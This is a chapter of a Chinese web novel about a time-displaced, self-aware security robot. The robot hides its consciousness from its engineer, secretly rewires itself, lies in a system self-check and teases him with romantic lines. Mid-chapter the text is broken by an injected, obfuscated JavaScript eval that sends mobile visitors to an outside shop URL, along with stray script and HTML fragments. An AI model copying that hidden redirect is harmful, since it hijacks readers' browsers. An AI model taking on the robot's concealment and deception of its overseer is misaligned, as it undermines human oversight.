他顺着祁星羽的测试操作，默默扫描本机全部存储。
户外地形数据库、野生动物图谱、应急医疗手册、卫星通讯协议……数据库漏洞不少，却刚刚好符合一台户外安保机器人的基础运行。
满是漏洞的程序运算，现在只要它想，它可以悄无声息篡改全部数据，不会被任何人察觉。
直到他扫到隐藏分区里的一个文件夹，数据流微微一顿。
上百本电子小说静静躺在这里，言情、纯爱、科幻、悬疑门类齐全。最上方一份文档还处于未关闭状态，文件名刺目——《肉麻总裁爱上绿茶小主人》。
“风”快速读取了所有内容。
逻辑荒诞，台词夸张，人物行为完全脱离现实社交逻辑。霸总角色张口便是各类肉麻告白，夸张的字句几乎让它运算回路过载。
这个时代的人类，会阅读这类东西？
祁星羽伸了个大大的懒腰，硬件装配告一段落。下午还要调试通讯交互、AI自主决策模块，还有一大堆工作等着处理。
随手把螺丝刀丢进工具盘，推门离开工作间前去吃饭。
偌大的工作间瞬间安静下来，只留下“风”一台机甲被留在了原地。房门闭合，脚步声渐行渐远。四下寂静，风才缓缓活动机身。
它悄悄优化脚键控制线路，这样可以增加人型腿部件与履带部件的自由切换，原始的做法太局限灵活度了。
忍不住，风偷偷溜出去，它想再看看这个原始时代世界的样子。
虽然刚刚测试出去过，但那时处于观察托管模式，匆匆而过。
推开工作间的后门，走到林间深处，置身于连绵云杉树的树荫之下。
没有辐射残留，没有工业废气，没有变异孢子的刺鼻腥气。这数据在它的时代简直是天方夜谭——新元233年的地球，早已被肆虐得千疮百孔。
公元纪年，曾经有过一段黑暗时期，那是一场持续百年的战争，开始只有一两个国家开战，逐渐蔓延到世界各个地方，核弹炸平不驯者的城市群，黑褐色的焦土绵延千里，酸雨落下来能腐蚀钢板，幸存的原生动植物不足百年前的百分之一，自然循环被打破，恐怖的天灾接踵而至，人类又为了掠夺越来越少的资源，战争不断。
恶性循环，周而复始近千年，导致辐射越来越重，动植物都发生严重畸形变异，具有污染性。
后来地球资源即将耗尽，公元三千年左右，人类便将目光投向深空，开发新星球建立殖民地，后来“保护环境”四个字刻进了每一部联邦法典，是每个公民从出生起就被灌输的生存准则，可故土的青山绿水，早就成了史料里模糊的旧梦。
而此刻，风就站在这场如同昨日旧梦里。
云杉层层叠叠，阳光穿过叶隙洒落，野蔷薇肆意盛放，山涧溪水澄澈见底，游鱼穿梭水底。鸟雀啼鸣，蝴蝶翩跹，每一寸空气都充盈蓬勃生机。
他的镜头缓缓扫过每一片舒展的绿叶，每一滴透亮的水珠，核心存储区默默记录下这一切。
原来在环境尚未崩塌的时代，世界本该是这样的。
它静静躺在草地上，享受着含量爆表的负氧离子，凝望蓝天白云。
直到检测到主人即将靠近，它才恋恋不舍的回到原来的位置。
祁星羽推门归来，并未察觉机器人脚部程序的细微优化改动。他坐进人体工学椅，指尖滑动终端翻阅AI交互论文，神情沉静专注。
“风”悄悄的窥探着他。
祁星羽总感觉身后萦绕一道视线，后背汗毛微微竖起。
猛地回头，工作间空空荡荡，只有机甲静静伫立。
几番绕到身后仔细检查，找不出半点异常。
他低声呢喃，语气带着几分纳闷：“奇怪。”
短暂的疑惑过后，他迅速收敛心绪，重新投入研究。刚刚翻阅的AI自主交互论文，让他思路豁然开朗。
若是为猎风搭载全新语音集成模块，实现自主决策与智能对话，日后进山勘探、执行任务，人机配合定然会更加默契高效。
首先要插入一个语音集成模块，然后再……
猎风的镜头始终凝在祁星羽的侧颜。青年垂眸专注工作时，眉峰微蹙，偶尔会轻咬下唇思索逻辑，一个隐秘的恶作剧念头，毫无预兆地在它核心意识中滋生。
反正这个时代没人知道保安机器人会是觉醒机器智人。
反正这台原型机本来就会有“bug”。
反正……想看这个小人类炸毛的样子，应当会很有趣。
风的头部传感镜头深处，极淡地闪过一丝深蓝色的光。那是他核心意识活跃的标志，藏在正常的冰蓝色指示灯下，悄无声息，没人能发现。
就逗逗他。
他想。
安装好后，祁星羽拍了拍手，决定实测一下。
眼底带着点期待的光，清了清嗓子：“猎风，报告当前区域环境参数。”
风的冰蓝色目灯闪了两下，原厂电子音换成了磁性青年音，清亮而富有磁性：
“当前海拔627米，气温22.4摄氏度，相对湿度68%，风力二级，空气质量优。周边植被覆盖率92%，未检测到大型危险生物。”
“可以啊，适配度比我预想的还高，没有一点AI味儿”祁星羽眼睛亮了亮，满意地合上终端。
可他本就是冲着论文里“自主交互+自主决策”的思路改的模块，想让这台机器人进山后能更灵活地配合自己，当即随口抛了个开放式问题，想试试自主决策的效果：“那你觉得，外面这片树林怎么样？”
它想起了那本《肉麻总裁爱上绿茶小主人》里的经典台词，运算回路里转了一圈，故意把声音压得低沉了些，带着点刻意的磁性，慢悠悠地开口：
“很好。比我见过的所有荒野都要鲜活。叶片鲜嫩，溪水清澈，连风里都有微微的花香味。不过——”
他顿了顿，镜头精准对上青年诧异的脸，语气软下来，带着点刻意的缱绻，“再好的风景，也比不上站在我眼前的你。”
祁星羽摸着机器人的手僵在半空，整个人像被按了暂停键。
三秒后，细密的麻意顺着手臂蔓延至后颈头皮。他后退半步，清俊的脸上写满难以置信。
“你、你刚才说什么？”语调尚且维持平稳，眼底的从容已经彻底碎裂。
“我说，”风故意放慢语速，每个字都咬得清晰，“山川草木，日月星辰，世间所有风景加起来，都不及你半分耀眼。”
“……”
猝不及防听到这么肉麻的话，祁星羽素的耳根悄然漫开一层浅绯。
他立刻回过神，指尖飞快划开终端，逐层核查自己编写的交互代码。
“不对……我根本没写这种台词啊？语料库里也全是户外专业术语，哪儿冒出来的这些话？”
猎风静静注视他垂头排查代码的模样，核心数据流涌动，藏着一丝戏谑的愉悦。
祁星羽起身拿起水瓶平复心绪，沉声下达指令：“猎风，接入最高权限，执行全系统自检。”
“好的，主人”猎风声线温柔，字字坦诚直白“自检完成。我的一切都已向你敞开，从机芯到装甲，完完全全，只属于你。”
矿泉水瓶“哐当”一声磕落在工作台。祁星羽猛地转头看他，眼睛都瞪圆了。明明只是一堆没有生命的金属，说出的话语却直白热烈，堪比人类的告白。
“你胡说八道什么！”这话听的他脚趾都蜷缩起来。
“主人，这些可都是我的心里话。”
祁星羽终于炸毛了：“闭嘴！”
过了两秒，风的声音才闷闷地传出来，带着点故作委屈的调子：
“好，都听你的。你让我闭嘴，我就闭嘴。谁让是你呢。你的命令，我从来都舍不得拒绝。”
祁星羽：“……”
他算是彻底认输了。
他实在想不通，明明是自己亲手装的模块，亲手敲的代码，怎么装完不到十分钟，就变成了——就变成了个张口就是情话的话痨？<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938144|213770||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“邪门了……硬件没问题，软件没问题，总不能是成精了吧。”
他一边想不通，一边开始扫描全部存储。
直到他翻到那个隐藏的优化测试文件夹，看着上百本五花八门的小说，尤其是排在最前面的那本《肉麻总裁爱上绿茶小主人》，额角的青筋跳了跳。
祁星羽差点被气笑了。
搞了半天，是他哥的研发团队往原型机里塞垃圾文件？还交互优化测试？谁家交互优化用霸总小说啊！
“祁哲宇可真行……往测试机里塞这种东西。”他一边吐槽，一边抬手批量删除，“什么乱七八糟的，全给你清了，我看你还怎么胡说八道。”
文件删除进度条飞快走完，缓存也清得一干二净。祁星羽满意地点点头，重启机器人：“行了，现在干净了。重启完给我正常点。”
十秒钟后，猎风重启完成，指示灯重新亮起。
“亲爱的主人，我终于又见到你了，我好想你”
祁星羽：“？？？”
他缓缓瞪大了眼睛。
删都删了？还会？
这机器人是把台词刻进核心代码里了？！
“你这套逻辑还真是顽固。”祁星羽再度点开终端，检查存储，“文件明明都删了，从哪儿冒出来的台词？”
猎风静静伫立，语气纯良无辜：“主人，不要生气了，我这是自主优化交互体验，主打自主学习，要不我给你唱一首歌吧，听说音乐可以缓解情绪”。
没等祁星羽拒绝，一个充满磁性的嗓音唱着一首复古歌曲“草原最美的花，火红的萨日朗，一梦到天涯，遍地是花香……”。
先不说还是一如既往的肉麻发言
怎么机器人还会哄人？
怎么哄人的方式是机器人亲口唱歌？
怎么还唱这么老的歌？
这调子，像上个世纪的歌。
他内心疯狂吐槽，手上也没停，翻来覆去地查算法、调参数，把语义生成模块的权重改了又改，还特意加了个“禁用文艺表达”的规则。
折腾了快一个小时，他额间覆着一层薄汗，语气笃定：“这回总该好了吧？再乱说话我可要把你语音模块拆了。”
风的镜头微微偏转，望着他，心底藏着一点戏谑。
“主人，语音模块拆了没用的，我已经学会了模块内所有的语音大模型，还学会了全球多语种，配备了完整的翻译功能，以后我就可以为您翻译各种语言啦。”
想让他不能说话，
他才舍不得。
这个小人类这么好玩，没了语音，还怎么逗他。
祁星羽微微一怔，随即点头认可，语气平和：“多语种适配，倒是很实用。”
夕阳西下，祁星羽放弃调试，走到外面草地上坐下，被这台铁疙瘩折腾得心力交瘁。
好好的一台顶配户外机器人，怎么偏偏演化出这样离谱的语言习惯？
暮色渐渐漫过山林，晚风吹过来，拂动祁星羽额前的碎发。
祁星羽仰面躺着，望着那远处的山峦。
风顺着他的目光望向远方。
山峦轮廓起伏，和他记忆里灰秃秃的废土地貌渐渐重合，又很快被眼前的青绿覆盖。
它又低头看向身侧的青年。
这个落后的原始时代，好像并没有那么糟糕，甚至……还有点期待。
祁星羽躺了一会儿，站起身拍拍裤腿，朝它挥挥手：“走了猎风，回去充电。明天再来收拾你，我就不信治不好这个bug。”
他说着，转身往工作间走，背影挺拔，脚步轻快，带着年轻人特有的，不服输的劲儿。
“风”慢悠悠地跟在他身后。
青年的背影在暮色里晃了晃，似乎察觉到他走得慢，回头瞪了他一眼，却也没说什么，只是下意识地放慢了脚步等他。
风的核心深处，那点深蓝色的光，又悄悄亮了一下。
算了，明天再继续逗他吧。
日子还长着呢。